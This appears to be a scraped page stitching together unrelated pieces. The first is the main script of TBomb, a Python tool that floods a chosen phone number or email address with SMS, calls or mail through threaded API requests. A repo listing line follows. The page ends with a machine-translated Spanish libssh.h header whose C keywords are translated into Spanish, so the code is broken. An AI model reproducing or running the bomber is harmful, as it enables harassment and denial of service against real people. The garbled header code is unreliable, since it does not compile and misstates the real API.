TBomb.") mesgdcrt.WarningMessage("Make Sure To Install 'git' ") mesgdcrt.GeneralMessage("Then run command:") print( "git checkout . && " "git pull https://github.com/TheSpeedX/TBomb.git HEAD") sys.exit() def update(): if shutil.which('git'): do_git_update() else: do_zip_update() def check_for_updates(): if DEBUG_MODE: mesgdcrt.WarningMessage( "DEBUG MODE Enabled! Auto-Update check is disabled.") return mesgdcrt.SectionMessage("Checking for updates") fver = requests.get( "https://raw.githubusercontent.com/TheSpeedX/TBomb/master/.version" ).text.strip() if fver != __VERSION__: mesgdcrt.WarningMessage("An update is available") mesgdcrt.GeneralMessage("Starting update...") update() else: mesgdcrt.SuccessMessage("TBomb is up-to-date") mesgdcrt.GeneralMessage("Starting TBomb") def notifyen(): try: if DEBUG_MODE: url = "https://github.com/TheSpeedX/TBomb/raw/dev/.notify" else: url = "https://github.com/TheSpeedX/TBomb/raw/master/.notify" noti = requests.get(url).text.upper() if len(noti) > 10: mesgdcrt.SectionMessage("NOTIFICATION: " + noti) print() except Exception: pass def get_phone_info(): while True: target = "" cc = input(mesgdcrt.CommandMessage( "Enter your country code (Without +): ")) cc = format_phone(cc) if not country_codes.get(cc, False): mesgdcrt.WarningMessage( "The country code ({cc}) that you have entered" " is invalid or unsupported".format(cc=cc)) continue target = input(mesgdcrt.CommandMessage( "Enter the target number: +" + cc + " ")) target = format_phone(target) if ((len(target) <= 6) or (len(target) >= 12)): mesgdcrt.WarningMessage( "The phone number ({target})".format(target=target) + "that you have entered is invalid") continue return (cc, target) def get_mail_info(): mail_regex = r'^[a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w{2,3}$' while True: target = input(mesgdcrt.CommandMessage("Enter target mail: ")) if not re.search(mail_regex, target, re.IGNORECASE): mesgdcrt.WarningMessage( "The mail ({target})".format(target=target) + " that you have entered is invalid") continue return target def pretty_print(cc, target, success, failed): requested = success+failed mesgdcrt.SectionMessage("Bombing is in progress - Please be patient") mesgdcrt.GeneralMessage( "Please stay connected to the internet during bombing") mesgdcrt.GeneralMessage("Target : " + cc + " " + target) mesgdcrt.GeneralMessage("Sent : " + str(requested)) mesgdcrt.GeneralMessage("Successful : " + str(success)) mesgdcrt.GeneralMessage("Failed : " + str(failed)) mesgdcrt.WarningMessage( "This tool was made for fun and research purposes only") mesgdcrt.SuccessMessage("TBomb was created by SpeedX") def workernode(mode, cc, target, count, delay, max_threads): api = APIProvider(cc, target, mode, delay=delay) clr() mesgdcrt.SectionMessage("Gearing up the Bomber - Please be patient") mesgdcrt.GeneralMessage( "Please stay connected to the internet during bombing") mesgdcrt.GeneralMessage("API Version : " + api.api_version) mesgdcrt.GeneralMessage("Target : " + cc + target) mesgdcrt.GeneralMessage("Amount : " + str(count)) mesgdcrt.GeneralMessage("Threads : " + str(max_threads) + " threads") mesgdcrt.GeneralMessage("Delay : " + str(delay) + " seconds") mesgdcrt.WarningMessage( "This tool was made for fun and research purposes only") print() input(mesgdcrt.CommandMessage( "Press [CTRL+Z] to suspend the bomber or [ENTER] to resume it")) if len(APIProvider.api_providers) == 0: mesgdcrt.FailureMessage("Your country/target is not supported yet") mesgdcrt.GeneralMessage("Feel free to reach out to us") input(mesgdcrt.CommandMessage("Press [ENTER] to exit")) bann_text() sys.exit() success, failed = 0, 0 while success < count: with ThreadPoolExecutor(max_workers=max_threads) as executor: jobs = [] for i in range(count-success): jobs.append(executor.submit(api.hit)) for job in as_completed(jobs): result = job.result() if result is None: mesgdcrt.FailureMessage( "Bombing limit for your target has been reached") mesgdcrt.GeneralMessage("Try Again Later !!") input(mesgdcrt.CommandMessage("Press [ENTER] to exit")) bann_text() sys.exit() if result: success += 1 else: failed += 1 clr() pretty_print(cc, target, success, failed) print("\n") mesgdcrt.SuccessMessage("Bombing completed!") time.sleep(1.5) bann_text() sys.exit() def selectnode(mode="sms"): mode = mode.lower().strip() try: clr() bann_text() check_intr() check_for_updates() notifyen() max_limit = {"sms": 500, "call": 15, "mail": 200} cc, target = "", "" if mode in ["sms", "call"]: cc, target = get_phone_info() if cc != "91": max_limit.update({"sms": 100}) elif mode == "mail": target = get_mail_info() else: raise KeyboardInterrupt limit = max_limit[mode] while True: try: message = ("Enter number of {type}".format(type=mode.upper()) + " to send (Max {limit}): ".format(limit=limit)) count = int(input(mesgdcrt.CommandMessage(message)).strip()) if count > limit or count == 0: mesgdcrt.WarningMessage("You have requested " + str(count) + " {type}".format( type=mode.upper())) mesgdcrt.GeneralMessage( "Automatically capping the value" " to {limit}".format(limit=limit)) count = limit delay = float(input( mesgdcrt.CommandMessage("Enter delay time (in seconds): ")) .strip()) # delay = 0 max_thread_limit = (count//10) if (count//10) > 0 else 1 max_threads = int(input( mesgdcrt.CommandMessage( "Enter Number of Thread (Recommended: {max_limit}): " .format(max_limit=max_thread_limit))) .strip()) max_threads = max_threads if ( max_threads > 0) else max_thread_limit if (count < 0 or delay < 0): raise Exception break except KeyboardInterrupt as ki: raise ki except Exception: mesgdcrt.FailureMessage("Read Instructions Carefully !!!") print() workernode(mode, cc, target, count, delay, max_threads) except KeyboardInterrupt: mesgdcrt.WarningMessage("Received INTR call - Exiting...") sys.exit() mesgdcrt = MessageDecorator("icon") if sys.version_info[0] != 3: mesgdcrt.FailureMessage("TBomb will work only in Python v3") sys.exit() try: country_codes = readisdc()["isdcodes"] except FileNotFoundError: update() __VERSION__ = get_version() __CONTRIBUTORS__ = ['SpeedX', 't0xic0der', 'scpketer', 'Stefan'] ALL_COLORS = [Fore.GREEN, Fore.RED, Fore.YELLOW, Fore.BLUE, Fore.MAGENTA, Fore.CYAN, Fore.WHITE] RESET_ALL = Style.RESET_ALL ASCII_MODE = False DEBUG_MODE = False description = """TBomb - Your Friendly Spammer Application TBomb can be used for many purposes which incudes - \t Exposing the vulnerable APIs over Internet \t Friendly Spamming \t Testing Your Spam Detector and more .... TBomb is not intented for malicious uses. """ parser = argparse.ArgumentParser(description=description, epilog='Coded by SpeedX !!!') parser.add_argument("-sms", "--sms", action="store_true", help="start TBomb with SMS Bomb mode") parser.add_argument("-call", "--call", action="store_true", help="start TBomb with CALL Bomb mode") parser.add_argument("-mail", "--mail", action="store_true", help="start TBomb with MAIL Bomb mode") parser.add_argument("-ascii", "--ascii", action="store_true", help="show only characters of standard ASCII set") parser.add_argument("-u", "--update", action="store_true", help="update TBomb") parser.add_argument("-c", "--contributors", action="store_true", help="show current TBomb contributors") parser.add_argument("-v", "--version", action="store_true", help="show current TBomb version") if __name__ == "__main__": args = parser.parse_args() if args.ascii: ASCII_MODE = True mesgdcrt = MessageDecorator("stat") if args.version: print("Version: ", __VERSION__) elif args.contributors: print("Contributors: ", " ".join(__CONTRIBUTORS__)) elif args.update: update() elif args.mail: selectnode(mode="mail") elif args.call: selectnode(mode="call") elif args.sms: selectnode(mode="sms") else: choice = "" avail_choice = { "1": "SMS", "2": "CALL", "3": "MAIL" } try: while (choice not in avail_choice): clr() bann_text() print("Available Options:\n") for key, value in avail_choice.items(): print("[ {key} ] {value} BOMB".format(key=key, value=value)) print() choice = input(mesgdcrt.CommandMessage("Enter Choice : ")) selectnode(mode=avail_choice[choice].lower()) except KeyboardInterrupt: mesgdcrt.WarningMessage("Received INTR call - Exiting...") sys.exit() sys.exit()
FileFormatInfo / NamelintCheck file names for security, compatibility, best practices & standards.
Nenu-doc / DOCTYPE Html Html Head Title Biblioteca Title Head <!DOCTYPE html> <html> <head> <title>Biblioteca</title> </head> <body> <h2>LIBRARY SSH</h2> <strong><h1>libssh 0.8.90</h1></strong><br /> <p> <button><li>La biblioteca SSH</li></button> <button><i>PAGINA PRINCIPAL</li></button> <button><li>PÁGINAS RELACIONADAS</li></button> <button><li>MÓDULOS</li></button> <button><li>ESTRUCTURAS DE DATOS</li></button> <button><li>ARCHIVOS</li></button> </p> <ul> <button><h3> incluir </h3></button> <button><h3> libssh </h3></button> <button><h3> libssh.h </h3></button> <br /> </ul> <small>Esta biblioteca es software gratuito; puedes redistribuirlo y / o 7 * modificarlo según los términos del GNU Lesser General Public 8 * Licencia publicada por la Free Software Foundation; ya sea 9 * versión 2.1 de la Licencia, o (a su elección) cualquier versión posterior. 10 * 11 * Esta biblioteca se distribuye con la esperanza de que sea útil, 12 * pero SIN NINGUNA GARANTÍA; sin siquiera la garantía implícita de 21 #ifndef _LIBSSH_H 22 #define _LIBSSH_H 23 24 #si está definido _WIN32 || definido __CYGWIN__ 25 #ifdef LIBSSH_STATIC 26 #define LIBSSH_API 27 #más 28 #ifdef LIBSSH_EXPORTS 29 #ifdef __GNUC__ 30 #define LIBSSH_API __attribute __ ((dllexport)) 31 #más 32 #define LIBSSH_API __declspec (dllexport) 33 #endif 34 #más 35 #ifdef __GNUC__ 36 #define LIBSSH_API __attribute __ ((dllimport)) 37 #más 38 #define LIBSSH_API __declspec (dllimport) 39 #endif 40 #endif 41 #endif 42 #más 43 #if __GNUC__> = 4 &&! Definido (__ OS2__) 44 #define LIBSSH_API __attribute __ ((visibilidad ("predeterminado"))) 45 #más 46 #define LIBSSH_API 47 #endif 48 #endif 49 50 #ifdef _MSC_VER 51 / * Visual Studio no tiene inttypes.h así que no conoce uint32_t * / 52 typedef int int32_t; 53 typedef unsigned int uint32_t; 54 typedef unsigned short uint16_t; 55 typedef unsigned char uint8_t; 56 typedef unsigned long long uint64_t; 57 typedef int mode_t; 58 #else / * _MSC_VER * / 59 #include <unistd.h> 60 #include <inttypes.h> 61 #include <sys / types.h> 62 #endif / * _MSC_VER * / 63 64 #ifdef _WIN32 65 #include <winsock2.h> 66 #else / * _WIN32 * / 67 #include <sys / select.h> / * para fd_set * * / 68 #include <netdb.h> 69 #endif / * _WIN32 * / 70 71 #define SSH_STRINGIFY (s) SSH_TOSTRING (s) 72 #define SSH_TOSTRING (s) #s 73 74 / * macros de versión libssh * / 75 #define SSH_VERSION_INT (a, b, c) ((a) << 16 | (b) << 8 | (c)) 76 #define SSH_VERSION_DOT (a, b, c) a ##. ## b ##. ## c 77 #define SSH_VERSION (a, b, c) SSH_VERSION_DOT (a, b, c) 78 79 / * versión libssh * / 80 #define LIBSSH_VERSION_MAJOR 0 81 #define LIBSSH_VERSION_MINOR 8 82 #define LIBSSH_VERSION_MICRO 90 83 84 #define LIBSSH_VERSION_INT SSH_VERSION_INT (LIBSSH_VERSION_MAJOR, \ 85 LIBSSH_VERSION_MINOR, \ 86 LIBSSH_VERSION_MICRO) 87 #define LIBSSH_VERSION SSH_VERSION (LIBSSH_VERSION_MAJOR, \ 88 LIBSSH_VERSION_MINOR, \ 89 LIBSSH_VERSION_MICRO) 90 91 / * GCC tiene verificación de atributo de tipo printf. * / 92 #ifdef __GNUC__ 93 #define PRINTF_ATTRIBUTE (a, b) __attribute__ ((__format__ (__printf__, a, b))) 94 #más 95 #define PRINTF_ATTRIBUTE (a, b) 96 #endif / * __GNUC__ * / 97 98 #ifdef __GNUC__ 99 #define SSH_DEPRECATED __attribute__ ((obsoleto)) 100 #más 101 #define SSH_DEPRECATED 102 #endif 103 104 #ifdef __cplusplus 105 externa "C" { 106 #endif 107 108 struct ssh_counter_struct { 109 uint64_t in_bytes; 110 uint64_t out_bytes; 111 uint64_t in_packets; 112 uint64_t out_packets; 113 }; 114 typedef struct ssh_counter_struct * ssh_counter ; 115 116 typedef struct ssh_agent_struct * ssh_agent ; 117 typedef struct ssh_buffer_struct * ssh_buffer ; 118 typedef struct ssh_channel_struct * ssh_channel ; 119 typedef struct ssh_message_struct * ssh_message ; 120 typedef struct ssh_pcap_file_struct * ssh_pcap_file; 121 typedef struct ssh_key_struct * ssh_key ; 122 typedef struct ssh_scp_struct * ssh_scp ; 123 typedef struct ssh_session_struct * ssh_session ; 124 typedef struct ssh_string_struct * ssh_string ; 125 typedef struct ssh_event_struct * ssh_event ; 126 typedef struct ssh_connector_struct * ssh_connector ; 127 typedef void * ssh_gssapi_creds; 128 129 / * Tipo de enchufe * / 130 #ifdef _WIN32 131 #ifndef socket_t 132 typedef SOCKET socket_t; 133 #endif / * socket_t * / 134 #else / * _WIN32 * / 135 #ifndef socket_t 136 typedef int socket_t; 137 #endif 138 #endif / * _WIN32 * / 139 140 #define SSH_INVALID_SOCKET ((socket_t) -1) 141 142 / * las compensaciones de los métodos * / 143 enum ssh_kex_types_e { 144 SSH_KEX = 0, 145 SSH_HOSTKEYS, 146 SSH_CRYPT_C_S, 147 SSH_CRYPT_S_C, 148 SSH_MAC_C_S, 149 SSH_MAC_S_C, 150 SSH_COMP_C_S, 151 SSH_COMP_S_C, 152 SSH_LANG_C_S, 153 SSH_LANG_S_C 154 }; 155 156 #define SSH_CRYPT 2 157 #define SSH_MAC 3 158 #define SSH_COMP 4 159 #define SSH_LANG 5 160 161 enum ssh_auth_e { 162 SSH_AUTH_SUCCESS = 0, 163 SSH_AUTH_DENIED, 164 SSH_AUTH_PARTIAL, 165 SSH_AUTH_INFO, 166 SSH_AUTH_AGAIN, 167 SSH_AUTH_ERROR = -1 168 }; 169 170 / * banderas de autenticación * / 171 #define SSH_AUTH_METHOD_UNKNOWN 0 172 #define SSH_AUTH_METHOD_NONE 0x0001 173 #define SSH_AUTH_METHOD_PASSWORD 0x0002 174 #define SSH_AUTH_METHOD_PUBLICKEY 0x0004 175 #define SSH_AUTH_METHOD_HOSTBASED 0x0008 176 #define SSH_AUTH_METHOD_INTERACTIVE 0x0010 177 #define SSH_AUTH_METHOD_GSSAPI_MIC 0x0020 178 179 / * mensajes * / 180 enum ssh_requests_e { 181 SSH_REQUEST_AUTH = 1, 182 SSH_REQUEST_CHANNEL_OPEN, 183 SSH_REQUEST_CHANNEL, 184 SSH_REQUEST_SERVICE, 185 SSH_REQUEST_GLOBAL 186 }; 187 188 enum ssh_channel_type_e { 189 SSH_CHANNEL_UNKNOWN = 0, 190 SSH_CHANNEL_SESSION, 191 SSH_CHANNEL_DIRECT_TCPIP, 192 SSH_CHANNEL_FORWARDED_TCPIP, 193 SSH_CHANNEL_X11, 194 SSH_CHANNEL_AUTH_AGENT 195 }; 196 197 enum ssh_channel_requests_e { 198 SSH_CHANNEL_REQUEST_UNKNOWN = 0, 199 SSH_CHANNEL_REQUEST_PTY, 200 SSH_CHANNEL_REQUEST_EXEC, 201 SSH_CHANNEL_REQUEST_SHELL, 202 SSH_CHANNEL_REQUEST_ENV, 203 SSH_CHANNEL_REQUEST_SUBSYSTEM, 204 SSH_CHANNEL_REQUEST_WINDOW_CHANGE, 205 SSH_CHANNEL_REQUEST_X11 206 }; 207 208 enum ssh_global_requests_e { 209 SSH_GLOBAL_REQUEST_UNKNOWN = 0, 210 SSH_GLOBAL_REQUEST_TCPIP_FORWARD, 211 SSH_GLOBAL_REQUEST_CANCEL_TCPIP_FORWARD, 212 SSH_GLOBAL_REQUEST_KEEPALIVE 213 }; 214 215 enum ssh_publickey_state_e { 216 SSH_PUBLICKEY_STATE_ERROR = -1, 217 SSH_PUBLICKEY_STATE_NONE = 0, 218 SSH_PUBLICKEY_STATE_VALID = 1, 219 SSH_PUBLICKEY_STATE_WRONG = 2 220 }; 221 222 / * Indicadores de estado * / 224 #define SSH_CLOSED 0x01 225 226 #define SSH_READ_PENDING 0x02 227 228 #define SSH_CLOSED_ERROR 0x04 229 230 #define SSH_WRITE_PENDING 0x08 231 232 enum ssh_server_known_e { 233 SSH_SERVER_ERROR = -1, 234 SSH_SERVER_NOT_KNOWN = 0, 235 SSH_SERVER_KNOWN_OK, 236 SSH_SERVER_KNOWN_CHANGED, 237 SSH_SERVER_FOUND_OTHER, 238 SSH_SERVER_FILE_NOT_FOUND 239 }; 240 241 enum ssh_known_hosts_e { 245 SSH_KNOWN_HOSTS_ERROR = -2, 246 251 SSH_KNOWN_HOSTS_NOT_FOUND = -1, 252 257 SSH_KNOWN_HOSTS_UNKNOWN = 0, 258 262 SSH_KNOWN_HOSTS_OK, 263 269 SSH_KNOWN_HOSTS_CHANGED, 270 275 SSH_KNOWN_HOSTS_OTHER, 276 }; 277 278 #ifndef MD5_DIGEST_LEN 279 #define MD5_DIGEST_LEN 16 280 #endif 281 / * errores * / 282 283 enum ssh_error_types_e { 284 SSH_NO_ERROR = 0, 285 SSH_REQUEST_DENIED, 286 SSH_FATAL, 287 SSH_EINTR 288 }; 289 290 / * algunos tipos de claves * / 291 enum ssh_keytypes_e { 292 SSH_KEYTYPE_UNKNOWN = 0, 293 SSH_KEYTYPE_DSS = 1, 294 SSH_KEYTYPE_RSA, 295 SSH_KEYTYPE_RSA1, 296 SSH_KEYTYPE_ECDSA, 297 SSH_KEYTYPE_ED25519, 298 SSH_KEYTYPE_DSS_CERT01, 299 SSH_KEYTYPE_RSA_CERT01 300 }; 301 302 enum ssh_keycmp_e { 303 SSH_KEY_CMP_PUBLIC = 0, 304 SSH_KEY_CMP_PRIVATE 305 }; 306 307 #define SSH_ADDRSTRLEN 46 308 309 struct ssh_knownhosts_entry { 310 char * nombre de host; 311 char * sin analizar; 312 ssh_key publickey; 313 char * comentario; 314 }; 315 316 317 / * Códigos de retorno de error * / 318 #define SSH_OK 0 / * Sin error * / 319 #define SSH_ERROR -1 / * Error de algún tipo * / 320 #define SSH_AGAIN -2 / * La llamada sin bloqueo debe repetirse * / 321 #define SSH_EOF -127 / * Ya tenemos un eof * / 322 329 enum { 332 SSH_LOG_NOLOG = 0, 335 SSH_LOG_WARNING , 338 SSH_LOG_PROTOCOL , 341 SSH_LOG_PACKET , 344 SSH_LOG_FUNCTIONS 345 }; 347 #define SSH_LOG_RARE SSH_LOG_WARNING 348 357 #define SSH_LOG_NONE 0 358 359 #define SSH_LOG_WARN 1 360 361 #define SSH_LOG_INFO 2 362 363 #define SSH_LOG_DEBUG 3 364 365 #define SSH_LOG_TRACE 4 366 369 enum ssh_options_e { 370 SSH_OPTIONS_HOST, 371 SSH_OPTIONS_PORT, 372 SSH_OPTIONS_PORT_STR, 373 SSH_OPTIONS_FD, 374 SSH_OPTIONS_USER, 375 SSH_OPTIONS_SSH_DIR, 376 SSH_OPTIONS_IDENTITY, 377 SSH_OPTIONS_ADD_IDENTITY, 378 SSH_OPTIONS_KNOWNHOSTS, 379 SSH_OPTIONS_TIMEOUT, 380 SSH_OPTIONS_TIMEOUT_USEC, 381 SSH_OPTIONS_SSH1, 382 SSH_OPTIONS_SSH2, 383 SSH_OPTIONS_LOG_VERBOSITY, 384 SSH_OPTIONS_LOG_VERBOSITY_STR, 385 SSH_OPTIONS_CIPHERS_C_S, 386 SSH_OPTIONS_CIPHERS_S_C, 387 SSH_OPTIONS_COMPRESSION_C_S, 388 SSH_OPTIONS_COMPRESSION_S_C, 389 SSH_OPTIONS_PROXYCOMMAND, 390 SSH_OPTIONS_BINDADDR, 391 SSH_OPTIONS_STRICTHOSTKEYCHECK, 392 SSH_OPTIONS_COMPRESSION, 393 SSH_OPTIONS_COMPRESSION_LEVEL, 394 SSH_OPTIONS_KEY_EXCHANGE, 395 SSH_OPTIONS_HOSTKEYS, 396 SSH_OPTIONS_GSSAPI_SERVER_IDENTITY, 397 SSH_OPTIONS_GSSAPI_CLIENT_IDENTITY, 398 SSH_OPTIONS_GSSAPI_DELEGATE_CREDENTIALS, 399 SSH_OPTIONS_HMAC_C_S, 400 SSH_OPTIONS_HMAC_S_C, 401 SSH_OPTIONS_PASSWORD_AUTH, 402 SSH_OPTIONS_PUBKEY_AUTH, 403 SSH_OPTIONS_KBDINT_AUTH, 404 SSH_OPTIONS_GSSAPI_AUTH, 405 SSH_OPTIONS_GLOBAL_KNOWNHOSTS, 406 SSH_OPTIONS_NODELAY, 407 SSH_OPTIONS_PUBLICKEY_ACCEPTED_TYPES, 408 SSH_OPTIONS_PROCESS_CONFIG, 409 SSH_OPTIONS_REKEY_DATA, 410 SSH_OPTIONS_REKEY_TIME, 411 }; 412 413 enum { 415 SSH_SCP_WRITE, 417 SSH_SCP_READ, 418 SSH_SCP_RECURSIVE = 0x10 419 }; 420 421 enum ssh_scp_request_types { 423 SSH_SCP_REQUEST_NEWDIR = 1, 425 SSH_SCP_REQUEST_NEWFILE, 427 SSH_SCP_REQUEST_EOF, 429 SSH_SCP_REQUEST_ENDDIR, 431 SSH_SCP_REQUEST_WARNING 432 }; 433 434 enum ssh_connector_flags_e { 436 SSH_CONNECTOR_STDOUT = 1, 438 SSH_CONNECTOR_STDERR = 2, 440 SSH_CONNECTOR_BOTH = 3 441 }; 442 443 LIBSSH_API int ssh_blocking_flush ( sesión ssh_session , int timeout); 444 LIBSSH_API ssh_channel ssh_channel_accept_x11 ( canal ssh_channel , int timeout_ms); 445 LIBSSH_API int ssh_channel_change_pty_size ( canal ssh_channel , int cols, int filas); 446 LIBSSH_API int ssh_channel_close ( canal ssh_channel ); 447 LIBSSH_API void ssh_channel_free ( canal ssh_channel ); 448 LIBSSH_API int ssh_channel_get_exit_status ( canal ssh_channel ); 449 LIBSSH_API ssh_session ssh_channel_get_session ( canal ssh_channel ); 450 LIBSSH_API int ssh_channel_is_closed ( canal ssh_channel ); 451 LIBSSH_API int ssh_channel_is_eof ( canal ssh_channel ); 452 LIBSSH_API int ssh_channel_is_open ( canal ssh_channel ); 453 LIBSSH_API ssh_channel ssh_channel_new ( sesión ssh_session ); 454 LIBSSH_API int ssh_channel_open_auth_agent ( canal ssh_channel ); 455 LIBSSH_API int ssh_channel_open_forward ( canal ssh_channel , const char * host remoto, 456 int puerto remoto, const char * sourcehost, int localport); 457 LIBSSH_API int ssh_channel_open_session ( canal ssh_channel ); 458 LIBSSH_API int ssh_channel_open_x11 ( canal ssh_channel , const char * orig_addr, int orig_port); 459 LIBSSH_API int ssh_channel_poll ( canal ssh_channel , int is_stderr); 460 LIBSSH_API int ssh_channel_poll_timeout ( canal ssh_channel , int timeout, int is_stderr); 461 LIBSSH_API int ssh_channel_read ( canal ssh_channel , void * dest, uint32_t count, int is_stderr); 462 LIBSSH_API int ssh_channel_read_timeout ( ssh_channel channel, void * dest, uint32_t count, int is_stderr, int timeout_ms); 463 LIBSSH_API int ssh_channel_read_nonblocking ( canal ssh_channel , void * dest, uint32_t count, 464 int is_stderr); 465 LIBSSH_API int ssh_channel_request_env ( canal ssh_channel , const char * nombre, const char * valor); 466 LIBSSH_API int ssh_channel_request_exec ( canal ssh_channel , const char * cmd); 467 LIBSSH_API int ssh_channel_request_pty ( canal ssh_channel ); 468 LIBSSH_API int ssh_channel_request_pty_size ( canal ssh_channel , const char * term, 469 int cols, int filas); 470 LIBSSH_API int ssh_channel_request_shell ( canal ssh_channel ); 471 LIBSSH_API int ssh_channel_request_send_signal ( canal ssh_channel , const char * signum); 472 LIBSSH_API int ssh_channel_request_send_break ( ssh_channel canal, longitud uint32_t); 473 LIBSSH_API int ssh_channel_request_sftp ( canal ssh_channel ); 474 LIBSSH_API int ssh_channel_request_subsystem ( canal ssh_channel , const char * subsistema); 475 LIBSSH_API int ssh_channel_request_x11 ( canal ssh_channel , int single_connection, const char * protocolo, 476 const char * cookie, int número_pantalla); 477 LIBSSH_API int ssh_channel_request_auth_agent ( canal ssh_channel ); 478 LIBSSH_API int ssh_channel_send_eof ( canal ssh_channel ); 479 LIBSSH_API int ssh_channel_select ( ssh_channel * readchans, ssh_channel * writechans, ssh_channel * exceptchans, struct 480 timeval * tiempo de espera); 481 LIBSSH_API void ssh_channel_set_blocking ( canal ssh_channel , bloqueo int ); 482 LIBSSH_API void ssh_channel_set_counter ( canal ssh_channel , 483 contador ssh_counter ); 484 LIBSSH_API int ssh_channel_write ( canal ssh_channel , const void * datos, uint32_t len); 485 LIBSSH_API int ssh_channel_write_stderr ( canal ssh_channel , 486 const void * datos, 487 uint32_t len); 488 LIBSSH_API uint32_t ssh_channel_window_size ( canal ssh_channel ); 489 490 LIBSSH_API char * ssh_basename ( const char * ruta); 491 LIBSSH_API void ssh_clean_pubkey_hash ( carácter sin firmar ** hash); 492 LIBSSH_API int ssh_connect ( sesión ssh_session ); 493 494 LIBSSH_API ssh_connector ssh_connector_new ( sesión ssh_session ); 495 LIBSSH_API void ssh_connector_free ( conector ssh_connector ); 496 LIBSSH_API int ssh_connector_set_in_channel ( conector ssh_connector , 497 canal ssh_channel , 498 enum ssh_connector_flags_e banderas); 499 LIBSSH_API int ssh_connector_set_out_channel ( conector ssh_connector , 500 canal ssh_channel , 501 enum ssh_connector_flags_e flags); 502 LIBSSH_API void ssh_connector_set_in_fd ( ssh_connector conector, fd socket_t); 503 LIBSSH_API vacío ssh_connector_set_out_fd ( ssh_connector conector, fd socket_t); 504 505 LIBSSH_API const char * ssh_copyright ( void ); 506 LIBSSH_API void ssh_disconnect ( sesión ssh_session ); 507 LIBSSH_API char * ssh_dirname ( const char * ruta); 508 LIBSSH_API int ssh_finalize ( void ); 509 510 / * REENVÍO DE PUERTO INVERSO * / 511 LIBSSH_API ssh_channel ssh_channel_accept_forward ( sesión ssh_session , 512 int timeout_ms, 513 int * puerto_destino); 514 LIBSSH_API int ssh_channel_cancel_forward ( sesión ssh_session , 515 const char * dirección, 516 int puerto); 517 LIBSSH_API int ssh_channel_listen_forward ( sesión ssh_session , 518 const char * dirección, 519 puerto internacional , 520 int * puerto_delimitado); 521 522 LIBSSH_API void ssh_free ( sesión ssh_session ); 523 LIBSSH_API const char * ssh_get_disconnect_message ( sesión ssh_session ); 524 LIBSSH_API const char * ssh_get_error ( void * error); 525 LIBSSH_API int ssh_get_error_code ( void * error); 526 LIBSSH_API socket_t ssh_get_fd ( sesión ssh_session ); 527 LIBSSH_API char * ssh_get_hexa ( const unsigned char * what, size_t len); 528 LIBSSH_API char * ssh_get_issue_banner ( sesión ssh_session ); 529 LIBSSH_API int ssh_get_openssh_version ( sesión ssh_session ); 530 531 LIBSSH_API int ssh_get_server_publickey ( ssh_session sesión, clave ssh tecla *); 532 533 enum ssh_publickey_hash_type { 534 SSH_PUBLICKEY_HASH_SHA1, 535 SSH_PUBLICKEY_HASH_MD5, 536 SSH_PUBLICKEY_HASH_SHA256 537 }; 538 LIBSSH_API int ssh_get_publickey_hash ( clave const ssh_key , 539 enum ssh_publickey_hash_type type, 540 char ** hash sin firmar , 541 size_t * HLEN); 542 543 / * FUNCIONES ANULADAS * / 544 SSH_DEPRECATED LIBSSH_API int ssh_get_pubkey_hash ( sesión ssh_session , carácter sin firmar ** hash); 545 SSH_DEPRECATED LIBSSH_API ssh_channel ssh_forward_accept ( sesión ssh_session , int timeout_ms); 546 SSH_DEPRECATED LIBSSH_API int ssh_forward_cancel ( sesión ssh_session , const char * dirección, int puerto); 547 SSH_DEPRECATED LIBSSH_API int ssh_forward_listen ( sesión ssh_session , const char * dirección, int puerto, int * bound_port); 548 SSH_DEPRECATED LIBSSH_API int ssh_get_publickey ( ssh_session sesión, clave ssh tecla *); 549 SSH_DEPRECATED LIBSSH_API int ssh_write_knownhost ( sesión ssh_session ); 550 SSH_DEPRECATED LIBSSH_API char * ssh_dump_knownhost ( sesión ssh_session ); 551 SSH_DEPRECATED LIBSSH_API int ssh_is_server_known ( sesión ssh_session ); 552 SSH_DEPRECATED LIBSSH_API void ssh_print_hexa ( const char * descr, const unsigned char * what, size_t len); 553 554 555 556 LIBSSH_API int ssh_get_random ( void * donde, int len, int fuerte); 557 LIBSSH_API int ssh_get_version ( sesión ssh_session ); 558 LIBSSH_API int ssh_get_status ( sesión ssh_session ); 559 LIBSSH_API int ssh_get_poll_flags ( sesión ssh_session ); 560 LIBSSH_API int ssh_init ( vacío ); 561 LIBSSH_API int ssh_is_blocking ( sesión ssh_session ); 562 LIBSSH_API int ssh_is_connected ( sesión ssh_session ); 563 564 / * HOSTS CONOCIDOS * / 565 LIBSSH_API void ssh_knownhosts_entry_free ( struct ssh_knownhosts_entry * entrada); 566 #define SSH_KNOWNHOSTS_ENTRY_FREE (e) do {\ 567 si ((e)! = NULO) {\ 568 ssh_knownhosts_entry_free (e); \ 569 e = NULO; \ 570 } \ 571 } mientras (0) 572 573 LIBSSH_API int ssh_known_hosts_parse_line ( const char * host, 574 const char * línea, 575 entrada struct ssh_knownhosts_entry **); 576 LIBSSH_API enumeración ssh_known_hosts_e ssh_session_has_known_hosts_entry ( sesión ssh_session ); 577 578 LIBSSH_API int ssh_session_export_known_hosts_entry ( sesión ssh_session , 579 Char ** pentry_string); 580 LIBSSH_API int ssh_session_update_known_hosts ( sesión ssh_session ); 581 582 LIBSSH_API enumeración ssh_known_hosts_e 583 ssh_session_get_known_hosts_entry ( sesión ssh_session , 584 struct ssh_knownhosts_entry ** pentry); 585 LIBSSH_API enumeración ssh_known_hosts_e ssh_session_is_known_server ( sesión ssh_session ); 586 587 / * REGISTRO * / 588 LIBSSH_API int ssh_set_log_level ( nivel int ); 589 LIBSSH_API int ssh_get_log_level ( void ); 590 LIBSSH_API void * ssh_get_log_userdata ( void ); 591 LIBSSH_API int ssh_set_log_userdata ( void * datos); 592 LIBSSH_API void _ssh_log ( int verbosidad, 593 const char * función , 594 const char * formato, ...) PRINTF_ATTRIBUTE (3, 4); 595 596 / * legado * / 597 SSH_DEPRECATED LIBSSH_API void ssh_log ( sesión ssh_session , 598 int prioridad, 599 const char * formato, ...) PRINTF_ATTRIBUTE (3, 4); 600 601 LIBSSH_API ssh_channel ssh_message_channel_request_open_reply_accept ( ssh_message msg); 602 LIBSSH_API int ssh_message_channel_request_reply_success ( ssh_message msg); 603 #define SSH_MESSAGE_FREE (x) \ 604 hacer {if ((x)! = NULL) {ssh_message_free (x); (x) = NULO; }} mientras (0) 605 LIBSSH_API void ssh_message_free ( ssh_message msg); 606 LIBSSH_API ssh_message ssh_message_get ( sesión ssh_session ); 607 LIBSSH_API int ssh_message_subtype ( ssh_message msg); 608 LIBSSH_API int ssh_message_type ( ssh_message msg); 609 LIBSSH_API int ssh_mkdir ( const char * nombre de ruta, modo_t); 610 